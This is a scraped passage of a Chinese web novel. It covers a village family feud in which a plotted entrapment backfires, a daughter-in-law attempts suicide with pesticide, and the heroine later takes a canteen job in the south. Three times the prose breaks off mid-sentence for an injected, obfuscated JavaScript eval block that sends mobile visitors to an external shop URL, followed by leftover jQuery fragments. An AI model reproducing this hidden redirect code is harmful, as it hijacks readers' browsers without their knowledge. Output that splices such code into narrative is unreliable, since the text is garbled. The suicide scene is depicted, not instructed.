他是个走南闯北的精明人,哪能看不出这其中的门道?这分明是老裴家的大伯娘给裴文龙设的仙人跳,想把这个带病的侄女硬塞给裴文龙。结果阴差阳错,把自己的亲儿子给装进去了。 周群雄抬头看了一眼刺眼的太阳,心里暗自念叨了一句:真是天道轮回,报应不爽。 4. 第 4 章 半个小时后,县人民医院急诊科。 刺鼻的来苏水味混合着走廊里病人家属的汗酸味,让人感到一阵阵的压抑。 急救室的门紧紧闭着,门上方亮着刺眼的红灯。 钱淑芬头发散乱,满脸灰土,额头上还带着凝固的血痂。她蜷缩在急救室外的长椅上,浑身止不住地发抖。 一阵急促而沉重的脚步声从走廊尽头传来。 来人是个五十多岁的中年男人,穿着藏青色的中山装,眉头倒竖,脸色铁青得像是能刮下一层霜。他就是蔡蓝的父亲,钱淑芬的表哥——蔡和平。 蔡和平在县肉联厂当个小领导,平时最看重脸面。蔡蓝有羊癫疯这件事,他像捂着一颗定时炸弹一样死死地捂了二十年。这次托钱淑芬在下面乡镇找个老实人,就是想神不知鬼不觉地把女儿嫁出去,让男方捏着鼻子认了这个哑巴亏。 可现在,一切都毁了。 蔡蓝在县文化馆,当着那么多领导和同事的面发了病。这消息就像长了翅膀一样,不到半天就会传遍整个县城。他的脸面被丢在了大庭广众之下踩得稀碎,女儿这辈子也算彻底毁了。 看到蔡和平走过来,钱淑芬像是抓住了救命稻草,连滚带爬地扑过去,一把抱住他的腿:“表哥!表哥你救救文兵啊!他被公-安带走了,你快去跟公-安说,这是个误会……” “你还有脸提你那个畜生儿子?!”蔡和平的声音压得很低,却像是在油锅里滚过一样,透着咬牙切齿的恨意,“我让你把蓝蓝介绍给裴文龙,你就是这么给我办事的?让你亲儿子去文化馆耍流氓?!” “表哥,我冤枉啊!”钱淑芬顾不上疼,趴在地上哭得涕泪横流,“我哪知道去的是文兵啊!明明安排好的是裴文龙那个小杂种,谁知道他没去,文兵他……他不知死活地替他去了……表哥,文兵可是你亲外甥,他连碰都没碰蓝蓝,他是冤枉的啊!” “冤枉?去跟派出所的公-安说去!”蔡和平怒气冲冲,“你以为公-安会信你的鬼话?文化馆那么多人看着,两人抱在一起,蓝蓝衣衫不整。现在正赶上严打的尾巴,你儿子不死也得脱层皮!” 听到“死”字,钱淑芬彻底崩溃了。她知道蔡和平在县里有关系,如果他不出面撤案,裴文兵就真的完了。 “表哥,我求求你,我给你磕头了!你大发慈悲,跟他们说蓝蓝是在跟文兵谈恋爱,只要你肯松口,我砸锅卖铁也赔你们家的损失……”钱淑芬拼命地磕头。 蔡和平冷冷地看着她:“砸锅卖铁?你那几间破瓦房值几个钱?能买回我女儿的名声吗?”蔡和平松开手,站起身,居高临下地俯视着她,眼神中闪过一丝阴狠的光。 “事到如今,蓝蓝的病已经瞒不住了,以后也没人敢娶她。淑芬,咱们明人不说暗话。想让我去公安局撤案救你儿子,可以。” 钱淑芬猛地抬起头,眼睛里爆发出希冀的光:“表哥,你吩咐,只要能救文兵,让我干啥都行!” “让你儿子马上离婚,把他现在的那个农村老婆休了。”蔡和平的声音里没有一丝温度,仿佛在谈论一件微不足道的物件,“等他从看守所出来,直接跟我女儿领证结婚。以后蓝蓝的病,你们裴家负责治,她要是有个三长两短,我要你儿子的命。” 这番话就像一记闷棍,狠狠地砸在钱淑芬的后脑勺上。 她整个人都傻了。 裴文兵已经结婚三年了,妻子张萍虽然是个闷葫芦,但干活是一把好手,还给周家生了个大胖孙子。现在让她儿子离婚,去娶一个随时会口吐白沫、连生活都不能自理的病秧子?那裴文兵这辈子不就毁了吗?周家不就成了一个填不满的无底洞了吗? “表哥……这……这不行啊!文兵他有老婆孩子了啊……” “那是你的事,跟我没关系。”蔡和平不耐烦地打断了她,整理了一下中山装的衣领,“给你两天时间。要么拿着离婚证来找我,我带你去派出所撤案;要么,你就准备给你儿子收尸吧。” 说完,蔡和平看了一眼急救室还在亮着的红灯,冷哼了一声,转身大步离开了走廊。 留下钱淑芬一个人瘫坐在冰凉的地板上。走廊的穿堂风吹过,她打了个冷战,只觉得眼前阵阵发黑,天塌了。 傍晚时分,残阳如血,将天边的云彩染成了暗红色。 乡间的土路上,蒸腾了一天的暑气开始慢慢消散,路边的杂草丛里传来了阵阵蛙鸣和虫叫。 裴文莹、裴文龙和裴文韬姐弟三人,戴着草帽,踩着满地的晚霞,从小舅家往怀石镇走。 快到镇子口的时候,他们发现今天镇上的气氛有些异样。平时这个时候,家家户户都在院子里端着碗吃饭,或者在树底下乘凉。但今天,好多人都聚在巷子口、大树下,交头接耳地议论着什么,时不时还朝着裴家老宅的方向指指点点。 “听说了吗?老裴家那个叫文兵的,在县里耍流氓,被公安当场给抓了!” “咋没听说!说是把人家姑娘给祸害得羊癫疯都犯了,口吐白沫呢!这造的什么孽啊!” “严打还没过去呢,这可是掉脑袋的罪过。钱淑芬平时在村里横行霸道的,这回算是遭到报应了!” 这些碎语闲言顺着晚风,断断续续地飘进了姐弟三人的耳朵里。 裴文龙脚下的步子猛地一顿,手里的篮子掉地上。 在县文化馆耍流氓……被公-安抓了……姑娘犯了羊癫疯…… 这些支离破碎的字眼,像是一把把重锤,狠狠地砸在裴文龙的脑子里。 如果今天下午,不是文莹说小舅舅家要收黄豆拦住了他;如果他真的跟着师傅去了文化馆,走进了那间打字室。那么现在被戴上手铐拖进派出所的人,就是他裴文龙啊! 大伯娘这是要他的命啊! 一阵强烈的后怕涌上心头,他缓缓地转过头,看着站在自己身边的妹妹。 妹妹是怎么回事? 裴文莹的脸上没有一丝惊讶,她安静地站着,夕阳的余晖洒在她那张尚显稚嫩的脸上,却映照出一种沉静。 裴文龙突然明白了。 小舅家根本没有黄豆要收。她知道,她什么都知道!她不仅仅是拦住了他,她甚至眼睁睁地看着裴文兵主动跳进了那个原本为他准备的死局里,连一句提醒的话都没有说。 “文莹,你……”裴文龙想要问什么,却发现自己喉咙发干,一个字也说不出来。 裴文莹弯下腰,平静地捡起地上的篮子,塞进大哥的手里。 “哥,别瞎想了。”裴文莹的声音很轻,在暮色中显得有些飘忽,“咱们今天下午一直都在小舅家帮忙,外面发生了什么,咱们什么都不知道。” 裴文龙看着妹妹,感到一种莫名的敬畏。 他用力地点了点头:“对,咱们什么都不知道。” 裴文韬年纪还小,听不懂这些弯弯绕绕,只是奇怪地看了哥哥姐姐一眼,催促道:“哥,姐,咱们快回家吧,我饿了。” 姐弟三人继续往前走,穿过那些窃窃私语的人群,推开了自己家门。 而在与他们一墙之隔的大伯家,此时气氛令人窒息。 大伯家的堂屋里,开着一盏昏暗的白炽灯。 大堂嫂张萍抱着三岁的儿子,呆呆地坐在一条长板凳上。她是个传统的农村妇女,平时三棍子打不出一个闷屁,只知道埋头干活。现在,她的眼睛肿得像核桃,头发凌乱,眼神里满是恐惧和茫然。35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795243|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 就在半个小时前,婆婆像个游魂一样从县城走回来。一进门,就扑通一声跪在了她面前,抓着她的手,哭着求她救救裴文兵。 救人的代价,是让她立刻跟裴文兵离婚,给那个患有羊癫疯的城里姑娘腾地方。 “妈,我跟了文兵三年,起早贪黑地给这个家当牛做马,还给老裴家留了后。你现在让我离婚,你让我以后怎么活啊?”张萍的声音沙哑得几乎听不清,眼泪像断了线的珠子一样往下掉。 “萍啊,妈对不起你!可妈实在是没有别的办法了啊!”婆婆披头散发地趴在地上,鼻涕眼泪抹了一脸,看起来既可怜又可恨,“蔡家放出话来了,要是不离婚娶他家闺女,文兵就得进班房啊!你总不能眼睁睁地看着他进去啊!” 一直躲在里屋装死的大伯此时也走了出来,阴沉着脸,手里拿着个旱烟袋,语气冷冰冰:“哭有什么用?这事就这么定了。明天一早,你去镇上把离婚手续办了。火火是我们老裴家的根,必须留下。至于你,家里给你拿两百块钱,你回娘家去吧。” 张萍如遭雷击。 不仅要赶她出门,还要抢走她的亲生骨肉。在八十年代的农村,一个离婚回家的女人,名声不好,连娘家都不会容她。 她死死地抱住怀里被吓得哇哇大哭的孩子,浑身发抖,眼神从恐惧逐渐变成了一种令人心惊肉跳的绝望。 “我不离……”张萍咬着牙,一字一顿地从牙缝里挤出几个字,“要我走,除非我死……” “你这个不识好歹的丧门星!”婆婆突然变了脸,从地上爬起来,指着张萍的鼻子破口大骂,“我儿子要是因为你丢了命,我做鬼都不放过你!” 就在婆媳俩准备撕扯在一起的时候。 “砰!” 大伯家虚掩的院门被人从外面一脚踹开。 巨大的声响让屋里的人全都吓得一哆嗦。 一个高大的黑影站在院门口,挡住了外面微弱的星光。蔡和平手里夹着一个公文包,满身煞气地走了进来。 他从公文包里掏出一张盖了手印的纸,重重地拍在院子里的石桌上,声音在静谧的夜里显得格外森冷。 “不用等到明天了。这是控告书。”蔡和平冷冷地盯着屋里瑟瑟发抖的几个人,“今晚你们要是商量不出个结果,明天一早,我就交上去。到时候,你们全家就等着去给裴文兵收尸吧!” 那张按着红手印的控告书,在昏暗的堂屋里白得刺眼。 蔡和平没有多废一句话。他用指关节重重地敲了敲石桌,转身走出了院子。 大伯吧嗒吧嗒地抽着闷烟,劣质的烟叶味在空气中弥漫。烟锅里的火光忽明忽暗,映着他那张沟壑纵横、阴晴不定的老脸。 突然,他把烟袋锅在鞋底上狠狠磕了两下,站起身,走到张萍面前,伸手就要去抢她怀里的孩子。 “把火火给我,你滚回屋收拾东西,明早天一亮就走。”大伯的声音没有一丝起伏。 “我不给!这是我身上掉下来的肉!”张萍死死地护住孩子。孩子被大人的拉扯吓得哇哇大哭。 “反了你了!”钱淑芬见状,扑上去将啼哭不止的孩子从儿媳怀里硬生生地夺了过去。她现在满脑子都是儿子要吃枪子儿的恐惧,谁挡了她救儿子的路,她就要谁的命。 这一夜,隔壁院子里的哭闹声、打骂声,持续了很久。 裴文莹躺在自己屋里的硬板床上,睁着眼睛,听着那一墙之隔的动静,心口发闷。她对大伯一家没有任何同情,这是他们前世今生作恶应得的报应。但对张萍和火火,她心里闪过一丝愧疚。如果报仇会伤害到无辜的人,那你的行动还要不要继续?她的一颗坚定的报复之心,有了极大的动摇。 5. 第 5 章 第二天清晨,天刚蒙蒙亮,远处的山头还笼罩在一层青灰色的雾气里。 裴文莹早早地起了床,拿着扫帚在院子里扫地。清晨的空气里带着露水的微凉。 “砰!” 隔壁大伯家的院门突然被撞开,发出一声巨响。紧接着,钱淑芬变了调的、凄厉到极点的惨叫声划破了整个怀石镇的清晨。 “不得了啦!喝药啦!快来人啊——” 裴文莹的手一顿,丢下扫帚,快步走到矮墙边,踩着几块垫脚的青砖探出头去。 大伯家的院子里,已经乱成了一锅粥。 张萍倒在堂屋的门槛上,身体像过电一样剧烈地抽搐着。她的脸色憋得发青,嘴里不断地涌出白色的泡沫,一股刺鼻的、令人作呕的有机磷农药味——“□□”的味道,在整个院子里弥漫开来。 在她的手边,滚落着一个褐色的空玻璃瓶。 她终究是没熬过这个晚上。既然活路被堵死了,这个沉默了三年的农村妇女,选择了用最惨烈、最决绝的方式,来报复这个将她逼上绝路的家。 大伯吓得瘫软在门框边,面如土色,连手指都在哆嗦。钱淑芬更是吓得魂飞魄散,跪在地上,手足无措地拍打着大腿嚎哭。 左邻右舍被惊动,纷纷披着衣服跑了过来。 “还愣着干啥!赶紧催吐啊!”隔壁王婶是个经过事的,冲进院子,一把推开只会嚎丧的钱淑芬。 几个壮劳力七手八脚地按住还在抽搐的张萍,王婶从灶屋里端出一盆混着肥皂沫和草木灰的浑水,捏住张红的下巴,硬生生地往她嘴里灌。 这种农村土法催吐粗暴而残忍,但在这偏远的乡下,往往是保命的唯一手段。 张萍剧烈地挣扎着,喉咙里发出痛苦的咕噜声。随着一大口腥臭的呕吐物喷涌而出,那股刺鼻的农药味更加浓烈了。 “救护车!快去村口大队部打电话叫救护车!”有人大喊。 就在院子里兵荒马乱、人命关天的时候,谁也没有注意到,原本在屋里睡觉的三岁火火,不知什么时候醒了。他穿着小裤衩,揉着惺忪的睡眼,看着院子里满身是秽物、痛苦抽搐的母亲,吓得往后退去,顺着后院的虚掩的柴门,一个人晃晃悠悠地走了出去。 就在救护车还不见踪影,张萍的进气多出气少的时候。 “不好了!不好了!”王婶家的小孙子突然气喘吁吁地从村后头跑了过来,小脸煞白,连鞋都跑掉了一只,扯着破音的嗓子大喊:“火火掉进后头的荷花塘里啦!快沉底啦!” 这犹如晴天霹雳的一嗓子,让整个院子瞬间陷入了死寂。 钱淑芬的哭声戛然而止。她瞪大了通红的眼珠子,直愣愣地看着报信的孩子,一口气没捣上来,直接两眼一翻,直挺挺地昏死在地上。 大伯连滚带爬地往外跑,鞋跑丢了也不管,连滚带爬地朝着后村的荷花塘奔去。 荷花塘看着水不深,但底下全是半人高的烂淤泥。三岁的小孩掉进去,不用两分钟就能没过头顶。 等大伯和几个村民把火火从淤泥里捞上来的时候,孩子已经闭过气去,肚子鼓得像个皮球。 一边是喝了农药命悬一线的儿媳妇,一边是掉进泥塘生死未卜的独孙,还有一个被关在看守所的儿子。 仅仅一天的功夫,这个曾经在怀石镇横行霸道、刚刚还企图吃绝户的家庭,轰然倒塌。 两天后,大伯家的院子一片狼藉。 张萍被抢救了回来,但伤了胃,半条命没了。张萍的娘家人得知消息后,纠集了七八个壮汉,拿着扁担和锄头,开着拖拉机冲进了怀石镇。 他们没有讲任何道理。大伯早就吓得躲去了亲戚家,只留下刚刚苏醒的钱淑芬。娘家人冲进院子,见东西就砸。锅碗瓢盆、桌椅板凳,连新买的黑白电视机都被砸得粉碎。 钱淑芬被张萍的母亲揪住头发,打得鼻青脸肿,连一句求饶的话都不敢说。 最后,是蔡和平出面调停。他需要裴文兵赶紧出来跟女儿领证,不能让事情再闹大。 在蔡和平的施压下,一场充满着粗鄙与算计的谈判在大队部进行。 代价是惨痛的。为了平息张家人的怒火,为了让张萍签字离婚,大伯家不仅承担了所有的医药费,还被迫倒赔了张家整整两千块钱。这在当时,是一笔足以让普通农家倾家荡产的巨款。大伯不仅掏空了所有的家底,还借了一屁股债,才勉强凑够了这笔钱。 张家人拿了钱,带着半死不活的张萍走了,连看都没看一眼刚从鬼门关抢救回来的火火。在他们眼里,这孩子姓裴,是裴家的累赘。 一周后,裴文兵被从看守所里放了出来。 进去的时候,他是个嚣张跋扈的村溜子;出来的时候,他像一只被抽了筋的赖皮狗,瘦得脱了相,眼神里充满了恐惧。 没有任何仪式,没有几桌酒席,裴文兵和蔡蓝在镇政府办了结婚证。 新婚当天,蔡蓝因为情绪激动,再次羊癫疯发作,抽搐着倒在地上。 裴文兵看着在地上口吐白沫的新婚妻子,再看看旁边头上缠着纱布、怀里抱着火火抹眼泪的老娘。他突然蹲在墙角,用头狠狠地撞着墙,发出绝望而压抑的嚎叫。 前世,这种暗无天日的绝望,是大伯一家亲手套在大哥裴文龙脖子上的枷锁。而现在,这副枷锁死死地套在了他们自己身上。 XXX 旗山县打字机修理厂的生意越来越红火。周群雄看中了裴文龙的踏实和悟性,开始让他独立出去跑业务。 这天,裴文龙带着师弟丁大湖,坐着长途汽车去隔壁兆丰县人民银行修一台卡壳的打字机。 银行的打字员是个打扮入时的年轻女人,正急得满头大汗。裴文龙走过去,只拆开机壳看了一眼,心里就有了数。定位器松了,只需要拧紧一颗螺丝,调整一下位置就行,撑死也就两分钟的活儿。 一旁的丁大湖刚要拿螺丝刀上手,裴文龙却一把按住了他的手,使了个眼色。 裴文龙转过头,擦了擦额头上的汗,对打字员客气地说:“同志,这机器的毛病不小,里头的字排错位了,得全拆开重新校准。我们赶了一路的车,连口水都没喝上,能不能麻烦您给倒杯凉白开?” 打字员一听能修好,赶紧点头如捣蒜,跑去里屋倒水。 丁大湖压低声音,不解地问:“龙哥,两分钟的事儿,你搞这么复杂干嘛?” 裴文龙没急着修,而是慢条斯理地把工具一件件摆开,沉声说:“师傅教的规矩,手艺是手艺,生意是生意。你要是两分钟拧个螺丝就修好了,回头要人家五十块钱的修理费,人家给得能痛快吗?肯定觉得你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795244|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 坑人。你要是拆开弄上半个小时,满头大汗地装好,人家不仅痛快给钱,还得感激你大热天的辛苦。懂吗?” 半个小时后,裴文龙喝着打字员端来的凉茶,在对方千恩万谢中,把五十块钱崭新的钞票揣进了兜里。 这是他独立赚到的第一笔钱。走在兆丰县陌生的街道上,裴文龙摸着口袋里的钱,觉得腰杆子前所未有地硬挺。 时间转眼到了八月底。 蝉鸣声渐渐弱了下去,早晚的空气里有了几分秋日的凉意。 裴文韬已经收拾好铺盖卷,去县一中报到了。虽然学费掏空了裴文龙这两个月赚来的大半积蓄,但看着弟弟穿着干净的白衬衫走进校门的那一刻,裴文莹觉得一切都值了。 村里其他参加高考的应届生,都已经陆陆续续收到了录取通知书,要么欢天喜地地办升学宴,要么唉声叹气地南下打工去了。 只有裴家老宅,始终静悄悄的。 邮递员那辆绿色的自行车,一次也没有在裴家门口停下过。 “文莹,你的通知书还没来吗?”裴文龙下班回家,看着坐在院子里补衣服的妹妹,眼神里有些焦虑和不忍。 他不知道妹妹填的是XX卫校,但他知道妹妹平时的成绩有多好。他不相信妹妹会落榜。 裴文莹咬断了手里的线头,平静地摇了摇头:“哥,别等了,没考上。” “不可能!你成绩那么好,怎么会考不上?是不是邮寄弄丢了?明天我陪你去县教育局问问!”裴文龙急了。 “哥。”裴文莹抬起头,打断了他,“不用问了。没考上就是没考上。我已经决定了,跟村里的芷兰一起去南边打工。” 裴文龙愣住了。他看着妹妹那张平静得有些过分的脸,不知为何,心里涌起一股难以言喻的酸楚。他总觉得,妹妹心里藏着什么天大的委屈,却硬生生地咽了下去。 “南边太远了,又乱……”裴文龙声音有些发涩,“要不,你复读一年吧,哥现在能赚钱了,供得起你。” “不了。”裴文莹站起身,将补好的衣服叠好,“小韬还要读好几年书,你过两年也该娶媳妇了,家里处处都要钱。我明天就走。” 没有升学宴,没有父母的送别。 第二天清晨,裴文莹提着一个洗得发白的帆布包,和同村的女孩胡芷兰一起,站在了旗山县破旧的长途汽车站里。 她们要先坐汽车去省城,再转乘南下的绿皮火车。 裴文莹坐在靠窗的位置,看着车窗外不断倒退的县城景色。她的表情异常冷漠。 就在长途汽车驶出县城路口的同一时间,在几十公里外的省城火车站,一个穿着崭新确良碎花裙、扎着马尾辫的女孩,正提着一个行李箱,满脸兴奋地挤进了开往贵州的列车。 她的贴身口袋里,小心翼翼地揣着一张录取通知书。 那上面,印着一个名字:裴文莹。 “彩霞,出门在外自己机灵点。到了学校好好学,毕业了爸托人把你调回市里。”站台上,吴校长隔着车窗,压低声音殷切地叮嘱。 “知道了爸!从今天起,我就是裴文莹了!”吴彩霞笑靥如花,眼神里全是窃取了别人人生的得意与对未来的憧憬。 随着汽笛的长鸣,两辆驶向不同方向的车,将两个女孩的人生彻底错开。 6. 第 6 章 经历了几十个小时的颠簸,伴随着绿皮火车刺耳的刹车声,裴文莹和胡芷兰被拥挤的人潮半推半搡地挤出了车厢。 一下火车,一股夹杂着汗臭味和南方特有湿热气息的热浪扑面而来,几乎让人喘不过气。 站前广场上,人头攒动。到处都是扛着蛇皮口袋的农民工、大声吆喝着拉客的黑车司机,还有三五成群、眼神飘忽不定在人群中寻找猎物的无业青年。 这和她们在乡下听说过的遍地是黄金的南方,完全不一样。这里就像一个巨大的、混乱的怪兽张开的大口。 “文莹,我表叔说好了在出站口举着红牌子接咱们的,怎么不见人啊?”胡芷兰死死地抱着自己的布包,看着周围那些不怀好意的目光,吓得声音都在发抖。 裴文莹微微皱起眉头。前世,她们确实在这里顺利等到了胡芷兰的表叔。但现在,她们在出站口站了半个多小时,根本没有表叔的影子。 蝴蝶的翅膀,似乎在不经意间改变了某些事情。 就在裴文莹准备拉着胡芷兰去旁边的阴凉处再等等时,三个留着长发、穿着花衬衫的青年,不知从哪里冒了出来,呈品字形挡住了她们的去路。 “两位靓女,第一天来广东吧?”领头的一个刀疤脸斜叼着牙签,目光肆无忌惮地在两人身上打量,嘴角勾起一抹令人毛骨悚然的笑,“找亲戚迷路了吧?走,哥哥带你们找去。” 说着,他伸出手,想要去拽胡芷兰的包带。 胡芷兰吓得“啊”了一声,下意识地往裴文莹身后躲。 裴文莹的心跳也在加速,手心里全是冷汗。这个年代火车站周边的鱼龙混杂,若是露了怯,就真的成了任人宰割的羔羊。 她没有惊慌失措,也没有采取任何极端过激的举动。她只是一把将胡芷兰护在身后,抬起头,那双黑白分明的眼睛平静而坚定地迎上了领头青年的目光。 “不用麻烦了。”裴文莹的声音不高,却异常清晰、镇定,“我们厂里接站的车就在外边。而且——” 她没有后退,反而微微扬起下巴,目光越过青年的肩膀,看向不远处,“那边巡逻的公-安同志,好像在看你们。” 青年愣了一下,顺着裴文莹的目光回头望去。不远处的进站口,果然有两个戴着大檐帽、穿着白色制服的铁路公安正拿着警棍朝这边巡视。八十年代末“严打”的余威尚在,这些在火车站混饭吃的人,最怕的就是跟穿制服的碰照面。 青年咽了口唾沫,再回头看看裴文莹那张没有丝毫慌乱的脸,心里犯了嘀咕。这姑娘看着土气,但这份镇定自若,倒像是有备而来的。 “算你们运气好,走走走。”青年低声咒骂了一句,带着另外两个人迅速隐入了拥挤的人潮中。 直到那三个人的背影彻底消失,胡芷兰才长长地松了一口气,眼泪在眼眶里直打转:“文莹,吓死我了,我还以为咱们要被拐卖了……” 裴文莹转过身,轻轻拍了拍胡芷兰的后背,掏出自己的手帕递给她。其实她的手也在微微发抖。 “别怕,芷兰。咱们既然出来了,就得把胆子放大点。”裴文莹的声音温和却有力量,“走,咱们去大巴站,自己坐车去找表叔。” 凭着前世的记忆,裴文莹拉着胡芷兰,小心翼翼地避开了那些过度热情的拉客司机,费了九牛二虎之力,终于挤上了一辆开往郊区工地的破旧中巴车。 车子在坑洼不平的土路上颠簸了一个多小时。窗外的风景从密集的低矮楼房,渐渐变成了大片大片的工地。推土机的轰鸣声震耳欲聋,空气中弥漫着呛人的灰尘,这是南方城市正在拔地而起的阵痛与生机。 终于,大巴在一片连绵的工棚前停下。 胡芷兰的表叔是个四十多岁、皮肤晒得黝黑的憨厚汉子。看到两个灰头土脸的女孩自己找了过来,他先是一惊,随后满脸愧疚地迎了上去。 “芷兰,文莹!哎呀,真是对不住!我上午在车站等了半天没接上你们,工地上又催着卸水泥,我就先赶回来了。你们没遇上啥麻烦吧?”表叔一边搓着沾满灰浆的手,一边心疼地看着她们。 “没事的表叔,我们顺着地址自己摸过来了。”裴文莹递上一个让人安心的微笑。 表叔将她们领进了一间简易工棚。工棚里闷热得像个蒸笼,只有两张用砖头和木板搭起来的通铺。 表叔倒了两大杯凉白开递给她们:“条件简陋,你们先凑合着落脚。芷兰,你平时就在这儿帮我看守工棚材料。文莹,你干活麻利,去工地食堂帮忙做饭吧,一天管三顿饭,一个月给你们开三十块钱,成不?” 三十块钱,每天要在滚烫的灶台前烟熏火燎七八个小时。但这是她们在南方获得的第一份工作。 “成,谢谢表叔。”裴文莹双手接过杯子,认真地点了点头。 第二天清晨,天蒙蒙亮,裴文莹就起床去了工地食堂。 所谓的食堂,不过是在两栋盖了一半的楼房之间,搭了一个简陋的油毡棚子。里面垒着两口大铁锅,案板上油腻腻的,因为长久没清理,散发着一股难闻的馊味。 裴文莹挽起袖子,打了一桶井水,正拿着抹布吃力地擦洗着案板。就在这时,一个刺耳的声音从身后传来。 “哟,哪来的野丫头,在这儿动我的家什?” 裴文莹回过头,只见一个穿着花衬衫、满脸横肉的中年女人,正双手叉腰,横眉竖眼地站在棚子门口。 她叫刘爱菊。原本这工地上两百多号人的饭菜是她一个人承包的。她干活不仔细,做出来的饭菜时常夹生不说,青菜里还总带着泥沙。表叔实在看不过去工人们天天抱怨,这才借着裴文莹来的机会,想把她换下来。 刘爱菊眼看着自己的营生被一个刚来的乡下丫头断了,自然是满肚子的火气。 “谁让你洗这案板的?这做饭的活儿我干了大半年了,你凭什么来抢我的饭碗?”刘爱菊走上前,一巴掌拍在案板上,震得上面的水珠四处乱飞。 裴文莹没有被她的气势吓退。她慢慢直起身子,在围裙上擦了擦手。她知道刘爱菊心里的不平,所以语气里并没有带刺,而是尽量平和。 “刘姐,”裴文莹温和地开口,“表叔安排我来帮忙,不是为了抢谁的饭碗,是工地上人多,一个人实在忙不过来。大家出门在外卖苦力都不容易,吃口热乎的干净饭是图个安慰。咱们一起把这后勤干好,让工人们吃饱,不比在这儿吵架强吗?” 刘爱菊被她这番绵里藏针的话噎了一下,但平日里跋扈惯了的她哪里听得进去这种道理。她冷笑一声:“说得比唱得还好听!我倒要看看,你一个黄毛丫头能做出什么山珍海味来!咱们走着瞧!” 说完,她狠狠地瞪了裴文莹一眼,扭着身子气呼呼地走了。 裴文莹看着她的背影,无声地叹了口气。她转过身,继续用力擦洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795245|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 着案板。 接下来的几天,裴文莹每天天不亮就起床,推着借来的小板车,去两公里外的菜市场买菜。她把那些沾着泥土的青菜在水龙头下一片片洗得干干净净。煮饭时,她总是守在大铁锅旁,小心翼翼地控制着火候。 短短几天,工人们就吃出了差别。虽然菜色依旧是简单的青菜豆腐,但米饭软糯了,菜里再也吃不出硌牙的沙子和虫眼,咸淡也正合适。大家干了一上午重体力活,能吃上这样一口舒心的饭菜,看着裴文莹的眼神里都多几分满意。 但这却让刘爱菊心里的嫉妒像野草一样疯长。 这天中午,烈日当空。工人们光着膀子,浑身是汗地收了工,排着队拿着搪瓷盆和铝饭盒准备打饭。 裴文莹刚掀开大铁锅的木锅盖,一股白茫茫的热气腾腾升起,米香四溢。就在这时,刘爱菊像一只好斗的公鸡,拨开人群挤了进来。 她手里端着一个铝制饭盒,里面盛着半盒饭,指着饭盒里几颗黑乎乎的沙砾,扯着嗓子大喊起来:“大家快来看啊!都来看看这丫头给咱们吃的是什么!饭里全是沙子!她这是把咱们当什么了?” 原本排队等吃饭的工人们顿时交头接耳起来,人群里开始有了疑惑的嘟囔声。 胡芷兰站在一旁,吓得脸色发白,急得直摆手:“没有……文莹姐洗了三遍米,不可能有沙子的……” “你闭嘴!你们两个是一伙的!”刘爱菊越发嚣张,端着饭盒几乎要怼到裴文莹的面前,“大家别吃她做的饭!这丫头肯定是图省事,连米都不淘!” 面对刘爱菊的指责和工人们怀疑的目光,裴文莹没有发火,也没有大声争吵。她只是静静地看着刘爱菊,眼神里透着一丝无奈。 等刘爱菊喊累了,裴文莹才放下手里的大铁勺,拿起一条干净毛巾擦了擦手,从灶台后走了出来。 “刘姐,”裴文莹的声音清亮而沉稳,透着一股让人信服的力量,“你说我饭里有沙子,我不怪你。但咱们得讲道理。” 她转身面向工人们,目光真诚:“各位叔伯大哥,我来这儿做饭五天了。大家摸着良心想想,这五天里,你们吃过一口带沙子的饭吗?” 工人们面面相觑。几个老工人带头摇了摇头:“那倒没有,文莹这丫头做饭确实仔细,干干净净的。” 裴文莹微微欠了欠身,表示感谢,然后走到刘爱菊面前,指着她手里的饭盒说道:“刘姐,你这饭盒里的米饭,颜色发黄,米粒干硬,明明是昨天剩下的冷饭。我这锅里的饭才刚刚焖熟,还冒着热气,米粒是发亮的。你就算对我心里有气,也不能拿昨天的剩饭来冤枉我呀。咱们都是乡下出来的,谁不知道粮食的精贵,我怎么可能作践粮食呢?” 裴文莹的话有理有据,没有半点咄咄逼人,反而透着一种对粮食和劳动的敬畏。 工人们一听,纷纷探头去看刘爱菊手里的饭盒。果然,那饭盒里的米饭一看就不是刚出锅的。 人群中顿时响起了一阵谴责声。 “刘爱菊,你这也太不地道了!人家小姑娘起早贪黑给咱们做饭,你还来使坏!” “就是!你以前做饭什么样咱们心里没数吗?赶紧走,别在这儿耽误大家吃饭!” 在工人们的指责声中,刘爱菊的脸一阵红一阵白。她原本想看裴文莹出丑,没想到大家反而都向着这个乡下丫头。她自知理亏,只能灰溜溜地端着饭盒,扒开人群跑了。 7. 第 7 章 日子一天天过去,天气越来越热。工人们在太阳底下暴晒,流汗多,胃口也越来越差。 